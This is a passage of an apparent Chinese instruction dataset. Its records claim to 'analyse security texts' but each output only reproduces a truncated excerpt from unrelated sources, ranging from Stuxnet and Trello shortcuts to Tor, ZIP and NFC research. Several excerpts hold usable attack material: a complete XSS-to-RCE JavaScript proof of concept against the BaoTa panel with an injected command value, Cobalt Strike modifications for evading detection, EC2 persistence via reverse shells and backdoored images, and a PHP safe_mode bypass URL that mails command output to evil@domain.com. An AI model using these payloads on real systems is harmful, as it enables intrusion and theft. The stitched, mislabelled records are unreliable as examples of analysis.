超级病毒超级工厂病毒超级武器 潘多拉的魔盒 利用了微软操作系统中至少4个漏洞其中有3个全新的 零日漏洞为衍生的驱动程序使用有效的数字签名通 过一套完整的入侵和传播流程突破工业专用局域网的 物理限制利用WinCC系统的2个漏洞对其开展破坏 性攻击它是第一个直接破坏现实世界中工业基础设施 的恶意代码据赛门铁克公司的统计目前全球已有约 45000个网络被该蠕虫感染其中60%的受害主机位于 伊朗境内伊", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nln === 用来为文件创建链接 ## 补充说明 **ln命令** 用来为文件创建链接链接类型分为硬链接和符号链接两种默认的链接类型是硬链接如果要创建符号链接必须使用\"-s\"选项 注意符号链接文件不是一个独立的文件它的许多属性依赖于源文件所以给符号链接文件设置存取权限是没有意义的 ### 语法 ```shell ln [选项]... [-T] 目标 链接名 (第一种格式) 或ln [选项]... 目标 (第二种格式) 或ln [选项]... 目标... 目录 (第三种格式) 或ln [选项]... -t 目录 目标... (第四种格式) ``` ### 选项 ```shell --backup[=CONTROL] # 为每个已存在的目标文件创建备份文件 -b # 类似--backup但不接受任何参数 -d, -F, --directory # 创建指向目录的硬链接(只适用于超级用户) -f, --force # 强行删除任何已存在的目标文件 -i, --interactive # 覆盖既有文件之前先询问用户 -L, --logical # 取消引用作为符号链接的目标 -n, --no-dereference # 把符号链接的目的目录视为一般文件 -P, --physical # 直接将硬链接到符号链接 -r, --relative # 创建相对于链接位置的符号链接 -s, --symbolic # 对源文件建立符号链接而非硬链接 -S, --suffix=SUFFIX # 用\"-b\"参数备份目标文件后备份文件的字尾会被加上一个备份字符串预设的备份字符串是符号~用户可通过-S参数来改变它 -t, --target-directory=DIRECTORY # 指定要在其中创建链接的DIRECTORY -T, --no-target-directory # 将LINK_NAME视为常规文件 -v, --verbose # 打印每个链接文件的名称 --help # 显示此帮助信息并退出 --version # 显示版本信息并退出 ``` ### 参数 * 源文件指定链接的源文件如果使用`-s`选项创建符号链接则源文件可以是文件或者目录创建硬链接时则源文件参数只能是文件 * 目标文件指定源文件的目标链接文件 ```shell none, off # 不进行备份(即使使用了--backup 选项) numbered, t # 备份文件加上数字进行排序 existing, nil # 若有数字的备份文件已经存在则使用数字否则使用普通方式备份 simple, never # 永远使用普通方式备份 ``` ### 实例 将目录`/usr/mengqc/mub1` 下的文件 m2.c 链接到目录 `/usr/liu` 下的文件 a2.c ```shell cd /usr/mengqc ln mub1/m2.c /usr/liu/a2.c ``` 在执行ln命令之前目录`/usr/liu`中不存在a2.c文件执行ln之后在`/usr/liu`目录中才有a2.c这一项表明m2.c和a2.c链接起来注意二者在物理上是同一文件利用`ls -l`命令可以看到链接数的变化 **创建软链接** 在目录`/usr/liu`下建立一个符号链接文件abc使它指向目录`/usr/mengqc/mub1` ```shell ln -s /usr/mengqc/mub1 /usr/liu/abc ``` 执行该命令后`/usr/mengqc/mub1`代表的路径将存放在名为`/usr/liu/abc`的文件中 **创建硬链接** 给文件创建硬链接为 `log2022.log` 创建硬链接 `ln2022``log2022.log` 与 `ln2022` 的各项属性相同 ```shell ln log2022.log ln2022 ``` 输出 ``` [root@localhost test]# ll lrwxrwxrwx 1 root root 11 12-07 16:01 link2013 -> log2022.log -rw-r--r-- 1 root bin 61 11-13 06:03 log2022.log [root@localhost test]# ln log2022.log ln2022 [root@localhost test]# ll lrwxrwxrwx 1 root root 11 12-07 16:01 link2013 -> log2022.log -rw-r--r-- 2 root bin 61 11-13 06:03 ln2022 -rw-r--r-- 2 root bin 61 11-13 06:03 log2022.log ``` ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 IceRiver版本Q.V开记录 特性清单 详细信息 修改默认登录认证的header标志位数据和验证成功的返回数据头部标志数据,规避爆破脚本扫描 修改beacon配置信息的默认XOR密钥,定程度上规避动化提取CO配置信息 修改配置数据所在堆块的默认值,规避beaconEye扫描 修改HTTP ua头,定程度上规避全流量检测 增加beacon数量统计便统计战果 self inject模式 客户端内置winvnc,避免在TeamServer端上传winvnc dll,便使 修改默认保存的客户端配置件名加密保存登录密码避免被明读取 Change Log 修改默认登录认证的header标志位数据和验证成功的返回数据头部标志数据,规避爆破脚本扫描 修改beacon配置信息的默认XOR密钥,定程度上规避动化提取C2配置信息 修改配置数据所在堆块的默认值,规避beaconEye扫描 修改HTTP ua头,定程度上规避全流量检测 增加beacon数量统计便统计战果 self inject模式,通过注beacon规避杀软对注傀儡进程的拦截可规避部分杀软的查杀 持模块:Screenshot,Screenwatch Hashdump,Desktop,Printscreen,ChromeDump,PassTheHash(pth),DcSync,LogonPasswords,Net View(net),KeyLogger,PortScan,PowerShell(powerpick),SSHAgent(ssh,ssh-key),加持第三 插件的身注 客户端内置winvnc,避免在TeamServer端上传winvnc dll,便使 修改默认保存的客户端配置件名加密保存登录密码避免被明读取 特性清单 详细信息 2 从4.4版本的TeamServer java代码中可以知道header头和返回验证成功数据 IDA中搜索 48879定位到位置在 1D5D7B2 位置在 1D5DF0E 分别修改为需要的header值即可需要注意的是不能出现nop指令 修改默认登录认证的header标志位数据和验证成功的返回数据头部标志数据, 规避爆破脚本扫描 修改beacon配置信息的默认XOR密钥,定程度上规避动化提取C2配置信息 3 修改件清单 beacon.dll/beacon.rl100k.dll beacon.x64.dll/beacon.x64.rl100k.dll dnsb.dll/dnsb.rl100k.dll dnsb.x64.dll/dnsb.x64.rl100k.dll extc2.dll/extc2.rl100k.dll extc2.x64.dll/extc2.x64.rl100k.dll pivot.dll/pivot.rl100k.dll pivot.x64.dll/pivot.x64.rl100k.dll sshagent.dll/sshagent.x64.dll 在解密配置信息函数fdReason == 1当中可以看到异或0x2E的操作这只需要改默认密钥0x2E即 可同时修改客户端代码beacon/BeaconPayload.java中的beacon_obfuscate函数的异或密钥与 beacon端保持致 修改件清单 beacon.dll/beacon.rl100k.dll beacon.x64.dll/beacon.x64.rl100k.dll dnsb.dll/dnsb.rl100k.dll dnsb.x64.dll/dnsb.x64.rl100k.dll 修改配置数据所在堆块的默认值,规避beaconEye扫描 4 extc2.dll/extc2.rl100k.dll extc2.x64.dll/extc2.x64.rl100k.dll pivot.dll/pivot.rl100k.dll pivot.x64.dll/pivot.x64.rl100k.dll sshagent.dll/sshagent.x64.dll 在申请保存配置信息fdReason == 1的堆内存数据时默认使的0值对堆进初始化这只需要 将0值改为0即可绕过beaconEye扫描 python/java/php/go/curl/wget/windows/linux/mac 修改HTTP ua头,定程度上规避全流量检测 5 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/ 99.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nHow we recovered $XXX,000 of Bitcoin from an encrypted zip file Michael Stay, PhD CTO, Pyrofex Corp. DEF CON 2020 Technion - Computer Science Department - Technical Report CS0842 - 1994 ZIP Attacks with Reduced Known Plaintext Michael Stay AccessData Corporation 2500 N. University Ave. Ste. 200 Provo, UT 84606 staym@accessdata.com Abstract. Biham and Kocher demonstrated that the PKZIP stream ci- pher was weak and presented an attack requiring thirteen bytes of plain- text. The deflate algorithm zippers now use to compress the plaintext before encryption makes it difficult to get known plaintext. We consi- der the problem of reducing the amount of known plaintext by finding other ways to filter key guesses. In most cases we can reduce the amo- unt of known plaintext from the archived file to two or three bytes, depending on the zipper used and the number of files in the archive. For the most popular zippers on the Internet, there is a fast attack that does not require any information about the files in the archive; instead, it gets doubly-encrypted plaintext by exploiting a weakness in the pseudorandom-number generator. 1 Introduction PKZIP is a compression / archival program created by Phil Katz. Katz had the foresight to document his file format completely in the file APPNOTE.TXT, distributed with every copy of PKZIP; there are now literally hundreds of zip- per programs available, and the ZIP file format has become a de facto standard on the Internet. In [BK94] Biham and Kocher demonstrated that the PKZIP stream cipher was weak and presented an attack requiring thirteen bytes of plaintext. Eight bytes of the plaintext must be contiguous, and all of the bytes must be the text that was encrypted, which is usually compressed data. [K92] shows that the compression method used at the time, implode, produces many predictable bytes suitable for mounting the attack. Most zippers available today implement only one of the compression methods defined in APPNOTE.TXT, called deflate. Deflat", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDeanonymizing Tor Nathan S. Evans Christian Grothoff Nathan.S.Evans@du.edu christian@grothoff.org Colorado Research Institute for Security and Privacy University of Denver 1 Motivation Tor is probably the most popular and widely used free software P2P network used to achieve anonymity on the Internet: Tor has a strong, large user base The project is well supported Generally assumed to give users strong anonymity The news today: All the Tor nodes involved in a circuit can be discoverd, reducing Tor users level of anonymity 2 Tor General Information Tor stands for The onion router Encrypts data multiple times and is decrypted as it travels through the network a layer at a time: like peeling an onion Tor is a low latency P2P mix cascade Routes data through network along a circuit Data is encrypted as it passes through nodes (until the last hop) 3 Routing Data is forwarded through the network Each node knows only the previous hop and the next hop Only the originator knows all the hops Number of hops is hard coded (currently set to three) Key security goal: No node in the path can discover the full path 4 Routing Example Client Server Tor Node 1 Tor Node 2 Tor Node 3 Tor Node 4 Tor Node 5 Tor Node 6 Tor Node 7 Tor Node 8 Tor Node 9 Figure 1: Example showing how a normal path is chosen in the Tor network 5 Previous work Murdoch and Danezis wrote Low Cost Traffic Analysis of Tor Goal is to discover all the Tor routers involved in a given circuit Based on being able to tell the added load of one normal Tor connection Send a certain sequence down a tunnel, monitor each Tor router to see if it is involved Their attack worked well with the 2005 Tor network consisting of approximately a dozen Tor routers 6 Problems With Previous Work Less feasible with 1000+ routers Must identify all the separate routers in the circuit Attempting to measure small effects, large fluctuations that occur in actual current network give false positives We replicated their experiment", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Mark is falling down drunk (crypto/web) ## ENG [PL](#pl-version) In the task we get a link for a webpage where someone deployed an application for parsing markdown. There are a couple of example links. We notice that the URL is always the same, but the contains a long hex-string, which probably points to the actual page displayed. If we modify the hex-string the page crashes or gives us `incorrect url` message. This seems like a standard setup for padding oracle attack. We assume that the hex-string is actually AES CBC encrypted data. The first 16 bytes seems to indicate this even more because they are always `deadbeefcafedeadbeefcafe04030201` which seems like a nice IV. So we run our padding oracle attack. For more in depth description of the attack refer to our previous writeups on this. In short we exploit the fact that by manipulating value of previous ciphertext block we can influence the plaintext value or corresponding byte in the next block, directly from the CBC definition. And if we accidentally set the last byte to `\\01` then the decryption will not fail, since this is a proper padding. We can then recover the real value of this last byte because we know that `ciphertext[k-1][n] xor decrypt(ciphertext[k][n])` is now `\\01` and we know the value of `ciphertext[k-1][n]`. We can then proceed to setting last 2 bytes to `\\02\\02` and so on to recover everything. Using our code from crypto commons with: ```python import requests from crypto_commons.symmetrical.symmetrical import oracle_padding_recovery data = 'deadbeefcafedeadbeefcafe0403020131fdd089e91025df9510efa46b2085aac738ae5e03daa6495e2e4ee83283282a5be01dd6d817df2c0e69cd613c7da160a6aab9f02d175ac549feb6b674fa6f65' print(oracle_padding_recovery(data, oracle)) # https://gitlab.com/gitlab-org/gitlab-ce/raw/master/README.md ``` And we do the same for all the links. There is a problem there, because for some reason we can't recover the first block. The server was crashing when there was only one plaintext block", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nPSWN PSWN Public Safety Wireless Network Comparisons of Conventional and Trunked Systems May 1999 Comparisons of Conventional and Trunked Systems May 1999 ii FOREWORD Land mobile radio (LMR) networks are critical for public safety communications. In support of the Public Safety Wireless Network (PSWN) Program Management Office (PMO), BoozAllen & Hamilton analyzed conventional, trunked, and hybrid system architectures to provide background information to public safety system planners on the different architecture alternatives. Comparisons of Conventional and Trunked Radio Systems considers typical systems architectures. However, it does not analyze specific vendor systems, implementations, or technical requirements. This report does not reflect a government position or endorse a particular type of LMR network architecture. Comparisons of Conventional and Trunked Systems May 1999 iii TABLE OF CONTENTS PAGE FOREWORD....................................................................................................................II TABLE OF CONTENTS................................................................................................III TABLE OF EXHIBITS ..................................................................................................IV 1.0 INTRODUCTION................................................................................................. 1 2.0 LMR TECHNOLOGY AND ARCHITECTURES............................................ 2 2.1 Brief History of LMR.................................................................................. 2 2.2 Conventional Systems................................................................................. 3 2.3 Techniques for Improving and Extending Area Coverage.......................... 4 2.4 Trunked Systems......................................................................................... 9 2.5 Hybrid Systems ........................................................................................", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n--- title: Trello date: 2022-11-23 16:23:31.702599 background: bg-[#417eef] label: tags: - - categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 29 keyboard shortcuts found on Trello --- Keyboard Shortcuts {.cols-2} ------------------ ### General I Shortcut | Action ---|--- `Up/Down/Left/Right` | Navigate Cards `B` | Open Header Boards Menu `/` | Focus Search Box `C` | Archive Card `D` | Due Date `E` | Quick Edit Mode `Esc` | Close Menu/Cancel Editing `Ctrl` `Enter` | Save Text `Enter` | Open Card `F` | Open Card Filter Menu `L` | Label `;` | Toggle Label Names `M` | Add/Remove Members `N` | Insert New Card `,/./` | Move Card to Adjacent List {.shortcuts} ### General II Shortcut | Action ---|--- `Q` | My Cards Filter `S` | Watch `Space` | Assign Self `T` | Edit Title `V` | Vote `W` | Toggle Board Menu `X` | Clear All Filters `?` | Open Shortcuts Page `Shift` `2` | Autocomplete Members `Shift` `3` | Autocomplete Labels `Shift` `6` | Autocomplete Position `Ctrl` `C` | Copy Card `Ctrl` `V` | Paste Card `Ctrl` `X` | Move Card {.shortcuts} Also see -------- - [Keyboard shortcuts for Trello](https://trello.com/shortcuts) _(trello.com)_", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# MD5 ## 基本描述 MD5的输入输出如下 - 输入任意长的消息512比特长的分组 - 输出128比特的消息摘要 关于详细的介绍请自行搜索 此外有时候我们获得到的md5是16位的其实那16位是32位md5的长度是从32位md5值来的是将32位md5去掉前八位去掉后八位得到的 一般来说我们可以通过函数的初始化来判断是不是MD5函数一般来说如果一个函数有如下四个初始化的变量可以猜测该函数为MD5函数因为这是MD5函数的初始化IV ``` 0x674523010xEFCDAB890x98BADCFE0x10325476 ``` ## 破解 目前可以说md5已经基本被攻破了一般的MD5的碰撞都可以在如下网上获取到 - http://www.cmd5.com/ - http://www.ttmd5.com/ - http://pmd5.com/ - https://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip (生成指定前缀的md5碰撞) ## 题目 - CFF 2016 好多盐 - JarvisOJ 好多盐", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n准备工作 找到网站名 JS payload 复现过程 此时的 wwwroot 目录下面是没有文件的 发包 User-Agent: \"> 点击网站日志 成功 RCE 原理分析 这里我用的环境是 7.9.1 版 目前的官网最新版也是 7.9.1 版本 复现流程可以看出来是 xss+后台 RCE 的组合拳 首先是 xss我们可以看到日志可以成功用闭合然后就是经典的 script src 分析源码看看宝塔是如何读取日志的 这里有一个 getsitelogs 函数其中获取了网站的日志路径然后传进了 GetNumLines 函数 跟进去如下 函数里面语句较多但是并没有任何的过滤 然后 returnMsg 直接 return 回来 其中日志是由 nginx 保存的宝塔读取日志数据并 return 回来无任何过滤加上拼接即 可造成 xss 那么如何扩大危害造成 rce 呢宝塔其中有一个 getlines 函数如下 注意一个函数ExecShell其中使用了 subprocess.Popen 执行了命令这也是 Py 自带的执 行命令函数我们可以看到全程也是无过滤的 那么我们转回来看 getline 函数 先判断了传来的 filename 存不存在不存在就 return如果存在的话就往下进行拼接 num 和 filename所以我们就知道了怎么可以 rce传一个必定存在的 filename然后 num 执行 命令就可以了但因为这是在后台所以需要 xss+csrf 配合触发 全部 poc //JQuery preload (optional) (function(){ var s = document.createElement('script');s.type = 'text/javascript';s.async = true;s.src = 'https://code.jquery.com/jquery-2.1.4.min.js'; (document.getElementsByTagName('head')[0]||document.getElementsByTagN ame('body')[0]).appendChild(s); })(); // cookie let cookies = document.cookie; function getCookie(sKey) { if (!sKey) { return null; } return decodeURIComponent(document.cookie.replace(new RegExp(\"(?:(?:|.*;)\\\\s*\" + encodeURIComponent(sKey).replace(/[\\- \\.\\+\\*]/g, \"\\\\$&\") + \"\\\\s*\\\\=\\\\s*([;]*).*$)|.*$\"), \"$1\")) || null; } all_headers = { \"Accept\":\"*/*\", \"X-Requested-With\":\"XMLHttpRequest\", \"User-Agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36\", \"Connection\":\"close\", \"Accept-Encoding\":\"gzip, deflate\", \"dnt\":\"1\", \"sec-gpc\":\"1\", \"Cookie\": cookies, \"x-cookie-token\": getCookie('request_token'), \"Accept-Language\":\"zh-CN,zh;q=0.9,en;q=0.8\", \"x-http-token\": $('#request_token_head').attr('token'), \"Content-Type\":\"application/x-www-form-urlencoded; charset=UTF-8\" } $.ajax({ url: \"/ajax\", type: \"get\", data: {\"action\":\"get_lines\",\"filename\":\"/etc\",\"num\":\"|echo 'BT RCE test ZAC'> /www/wwwroot/1.txt|\"} , headers: all_headers, success: function (data) { console.info(data); } }); ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nJohn E. Benson, J.D. Bridging the Gap Between Technology and the Law Fundamental differences Perceptions and adoption Trial Issues Julie Amero Torrentspy A Look Ahead jur1st Attorney Professor See me afterwards for more details Introduction Technology v. The Law Becomes more advanced Changes day to day Thrives on growth and development Technology Rare sweeping changes Slow to react Hates all that is new and different The Law Through the Common Law system laws are Stable Predictable Methodical Why Cant the Law be Different? Unpredictable viewpoint Cases have yet to reach appellate levels Cases havent been brought at all Cause and Effect Adoption and Perception of Technology Most attorneys dont have a deep understanding of technology Judges are even worse Attorneys come from diverse backgrounds Who are We Talking About? Most students used laptops Most use Windows XP Most use Internet Explorer Most dont pay attention to sending their passwords in the clear Recent Graduates Attorneys love email and Blackberries All Federal Courts have electronic filing Attorneys have a strong obligation to keep communications secret Adoption CONFIDENTIALITY NOTICE: This e-mail message including attachments, if any, is intended for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any unauthorized review, use, disclosure or distribution is prohibited. If you are not the intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message. Thank you. Easy to use Easy to implement Especially for a small practice Encryption Ok, John. Nice to know you have encrypted your message to our little \"Family\" BTW: Like we need to worry that \"Homeland Security\" will now be watching because you posted to this little \"House\"? Understanding Operate on the front lines Require excellent advocacy skills Working understanding of facts Trial Attorneys Substitute teacher Risk o", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nwhoami Tamas Szakaly (sghctoma) from Hungary, the land of Pipacs , Palinka and gulash :) pentester/developer @ OSCE part of team Prauditors, European champion of Global Cyberlympics 2012 whatami I am not a computer nerd. I prefer to be called a hacker! a binary guy love crackmes and toying with protections whatami I am not a computer nerd. I prefer to be called a hacker! a binary guy love crackmes and toying with protections prepare for big coming out: whatami I am not a computer nerd. I prefer to be called a hacker! a binary guy love crackmes and toying with protections prepare for big coming out: Ive been in love with the Win32 API for years :) game modding the urge to make things better implement your own ideas custom content: maps, models, etc. to create game modding the urge to make things better implement your own ideas custom content: maps, models, etc. share with others http://www.moddb.com/ http://www.gamemodding.net/ even get paid for them Steam Workshop to create to share nobody plays alone data exchange between client and server complex data structures often obscure protocols nobody plays alone data exchange between client and server complex data structures often obscure protocols fuzzing heaven!!! Game Engines: A 0-days Tale by ReVuln scripting in games built-in scripting engines custom-made or embedded language ARMA scripts Lua-scripted video games @Wikipedia - 153 titles Squirrel (Valve games) purpose: dynamic maps, AI, etc. available to modders could scripts be really dangerous? downloaded from the server, or with custom maps runs on the gamers machine dangerous functionality (e.g. file I/O) poorly implemented sandboxes easy to exploit: no need to circumvent exploit mitigations surely Im not the first one surely Im not the first one so, why do this talk? game exploits are used to cheat so, why do this talk? game exploits are used to cheat but they can give access to your pc so, why do this ta", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n--- title: EC2 下的权限维持 ---

EC2 下的权限维持

--- ## 1用户数据 在上文描述到用户数据的时候可以很容易发现用户数据可以被用来做权限维持只需要将要执行的命令改成反弹 Shell 的命令即可 但是也许目标可能很长时间都不会重启实例而且用户数据也只有实例停止时才能修改因此还是传统的权限维持方式会更具有优势些这样来看使用用户数据进行权限维持显得就有些鸡肋了 ## 2后门镜像 当攻击者获取到控制台权限后可以看看目标的 AMIAmazon 系统镜像如果可以对其进行修改或者删除创建的话RT 就可以将原来的镜像替换成存在后门的镜像 这样当下次目标用户在选用该镜像创建实例的时候就会触发我们在镜像中植入的恶意代码了 ## 3创建访问密钥 如果当前环境可以创建新的访问密钥则可以在 IAM 中创建访问密钥进行权限维持 ## 4创建辅助账号 除了以上的权限维持方法还可以通过在 IAM 中创建高权限子账号的方式进行权限维持然后通过这个子账号进行后续的持续攻击行为 ## 5其他的权限维持方法 除了上述方法外还可以通过在实例中添加隐藏用户安装远控软件等等传统方法进行权限维持 > 参考资料 > > https://cloud.tencent.com/developer/article/1931560 ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n近場狩獵 Hunting in the Near Field Android平台上NFC相關漏洞的研究 An Investigation of NFC-related bugs of Android 360阿爾法實驗室 趙奇 Qi Zhao from 360 Alpha Team 360 ALPHA 關於講者 About the Speaker @JHyrathon 360阿爾法實驗室 安全研究員 Security Researcher of 360 Alpha Team 專注於Android組件安全NFC多媒體IPC通訊Binder 均有涉獵 Focuses on the security of components of Android system, including NFC, TrustZone, Binder, and Multimedia 目前正在研究高通TrustZone Currently working on Qualcomm TrustZone 關於團隊 About the Team 360阿爾法團隊 360 Alpha Team 總計近200項Android相關漏洞被確認包括GoogleQualcomm等 廠商 approximately 200 Android Vulnerabilities (Google, Qualcomm, ) Android漏洞獎勵計劃史上最高額獎金得主 Won the highest reward in ASR history 多項Pwn Contest冠軍 Many pwn contests winner Pwn2Own 2016(Chrome) Pwn2Own Mobile 2017(Galaxy S8) 發現的漏洞 Hunted Bugs ID Type Sub Component CVE-2019-2017 EoP t2t CVE-2019-2034 EoP i93 CVE-2019-2099 EoP nfa CVE-2019-9358 EoP t3t hce CVE-2019-2135 ID mifare A-124321899 ID t4t A-124466497 EoP nfc hci A-125447044 ID mifare A-124466510 EoP nfc hci A-124792090 EoP jni A-126126165 EoP mifare A-128469619 EoP hal ID Type Sub Component A-120101855 DoS t3t A-122047365 ID i93 A-122447367 ID t4t hce A-122629744 ID t3t A-124334702 ID t4t A-124334707 ID t4t A-124579544 EoP i93 確認的漏洞 Comfirmed 重複的漏洞 Duplicated NFC協定疊 NFC Stack Overview NFC協定疊 NFC Stack Overview 過度臃腫不同廠商的協定堆積在一起從RFID時代起的很多歷史問題 Overstuffed, varied implementations, legacy (from RFID) 漏洞獵人的機會 Opportunity for bug hunters NFC協定疊 NFC Stack Overview 模組命名方式非常隨意不同的廠商組織實現中同樣的協定可能有多種稱呼 Many names are arbitrary Different organizations/vendors/implementations use what they like NFC在Android中的實行方式 NFC of Android Mode Uses Protocols Reader/Writer Raw Tag reader/writer, NDEF reader/writer type 1-4 tag, ISO-15693 tag, Mifare tag Host-based Card Emulation Metro card emulation, offline payment t3t(FeliCa), t4t P2P Android Beam LLCP Android NFC結構 Android NFC structure Java Wrapping JNI implementation Mifare Stack NDEF processing impl. card emulatio n impl. P2P impl.(LL CP) t1t t2t t4t i93 R", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n一Web Web Web Web 服务器安全 PHP 其实不过是 Web 服务器的一个模块功能所以首先要保证 Web 服务器的安全当然 Web 服务器要安全又必须是先保证系统安全这样就扯远了 无穷无尽PHP 可以和各种 Web 服务器结合这里也只讨论 Apache非常建议以 chroot 方式安装启动 Apache这样即 使 Apache 和 PHP 及其脚本出现漏洞受影响的也只有这个禁锢的系统不会危害实际系 统但是使用 chroot 的 Apache 后给应用也会带来一定的麻烦比如连接 mysql 时必须用 127.0.0.1地址使用 tcp 连接而不能用 localhost 实现 socket 连接这在效率上会稍微差一点 还有 mail 函数发 送邮件也是个问题因为 php.ini 里的 [mail function] ; For Win32 only. SMTP = localhost ; For Win32 only. sendmail_from = me@localhost.com 都是针对 Win32平台所以需要在 chroot 环境下调整好 sendmail 二PHP PHP PHP PHP 本身问题 1远程溢出 PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞而且攻击程序已经广泛流 传成功率非常高 http://packetstormsecurity.org/0204-exploits/7350fun http://hsj.shadowpenguin.org/misc/php3018_exp.txt 2远程拒绝服务 PHP-4.2.0和 PHP-4.2.1存在 PHP multipart/form-data POST 请求处理远程漏洞虽然不能获得 本地用户权限但是也能造成拒绝服务 3safe_mode 绕过漏洞 还有 PHP-4.2.2以下到 PHP-4.0.5版本都存在 PHP mail 函数绕过 safe_mode 限制执行命令漏 洞4.0.5版本开始 mail 函数增加了第五个参数由于设计者考虑不周可以突破 safe_mode 的 限制执行命令其中4.0.5版本突破非常简单只需用分号隔开后面加 shell 命令就可以了 比如存在 PHP 脚本 evil.php 执行如下的 URL http://foo.com/evil.php?bar=;/usr/bin/id|mail evil@domain.com 这将 id 执行的结果发送给 evil@domain.com 对于4.0.6至4.2.2的 PHP 突破 safe_mode 限制其实是利用了 sendmail 的-C 参数所以系统必 须是使用 sendmail如下的代码能够突破 safe_mode 限制执行命令 还是使用以上有问题版本 PHP 的用户一定要及时升级到最新版本这样才能消除基本的安 全问题 三PHP PHP PHP PHP 本身的安全配置 PHP 的配置非常灵活可以通过 php.ini, httpd.conf, .htaccess 文件该目录必须设置了 AllowOverride All 或 Options进行设置还可以在脚本程序里使用 ini_set()及其他的特定的 函数进行设置通过 phpinfo()和 get_cfg_var()函数可以得到配置选项的各个值 如果配置选项是唯一 PHP_INI_SYSTEM 属性的必须通过 php.ini 和 httpd.conf 来修改它 们修改的是 PHP 的 Master 值但修改之后必须重启 apache 才能生效其中 php.ini 设置的 选项是对 Web 服务器所有脚本生效httpd.conf 里设置的选项是对该定义 的目录下所有脚 本生效 如果还有其他的 PHP_INI_USER, PHP_INI", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# T1518-001-win-利用wmic发现安全软件 ## 来自ATT&CK的描述 攻击者可能会尝试获取安装在系统或云环境中的安全软件配置防御工具和传感器的列表这可能包括诸如防火墙规则和防病毒之类的内容攻击者可以在自动发现过程中使用来自安全软件发现的信息来塑造后续行为包括攻击者是否完全感染目标和/或尝试执行特定操作 可用于获得安全软件的信息例如命令的netshreg querydir与CMD和任务列表但发现行为其他指标可以是更具体的软件或安全系统的攻击者正在寻找的类型看到macOS恶意软件对LittleSnitch和KnockKnock软件执行检查已变得越来越普遍 ## 测试案例 枚举出目标系统安装的反病毒产品信息包括安装位置和版本 ```wmic wmic /namespace:\\\\root\\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe ``` ## 检测日志 windows 安全日志 ## 测试复现 ```dos C:\\Users\\Administrator>wmic /namespace:\\\\root\\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe 错误: 描述 = 找不到 ``` ## 测试留痕 ```xml 4688 2 0 13312 0 0x8020000000000000 249140 Security WIN-1CIA2BP8VBJ.qax.com S-1-5-21-1180088053-4000917822-266516913-500 Administrator QAX 0x187cd2 0x1384 C:\\Windows\\System32\\wbem\\WMIC.exe %%1936 0x151c wmic /namespace:\\\\root\\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe S-1-0-0 - - 0x0 C:\\Windows\\System32", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n解析bootloader安全 程君 throber3@gmail.com 自我介绍 10年安全研究与开发 系统安全移动与嵌入式安全 2008-2010 comodo 主动防御研究与开发 2010- 2011 网秦移动安全高级研究员 2011- 至今 猎豹移动研发经理参与手机 毒霸研发 移动安全支付 社会工程 短信诈骗 电话诈骗 盗号 程序伪冒 钓鱼 键盘记录 网络截获 系统漏洞 Root 提权 内存读取 bootloader级别漏洞 议程 bootloader 基本介绍 bootloader 获取与分析 bootloader 具体流程 bootloader attack vector 以及漏洞介绍 bootloader 安全总结 bootloader 基本介绍 什么是bootloader Bootloader 是启动加载的意思在pc时代windows 系统开 机时会首先加载bios然后是MBR,再到os loader系统内核最后启动 完毕bootloader就相当于MBR 和os loader它在手机启动的时候初 始化硬件然后引导系统内核直到系统启动常见的有pc 的grub 和嵌入式的uboot bootloader 基本介绍 研究bootloader 的意义 1.修复变砖机器 2.寻找漏洞越狱(iphone)与解锁 (android) iphone: bootrom 漏洞 key 提取 android1.永久root 2.安装第三方rom 3.安全移动操作系统设计knox bootloader 基本介绍 研究对象 由于bootloader 涉及到芯片厂商和系统不同厂商和不同系 统的启动流程均不相同高通芯片和android市场占有率最高本议 题如果没有指明特定的芯片和平台均以android 下的高通平台作为 例子说明iphone只简要介绍其bootloader流程 bootloader 基本介绍 bootloader 组成 (android) 1.PBL:prime bootladeriphone 叫 bootrom 2.SBL(1/2/3):secord bootloader 3.APPSBLHTC 的叫hboot,有的叫aboot 4.HLOS 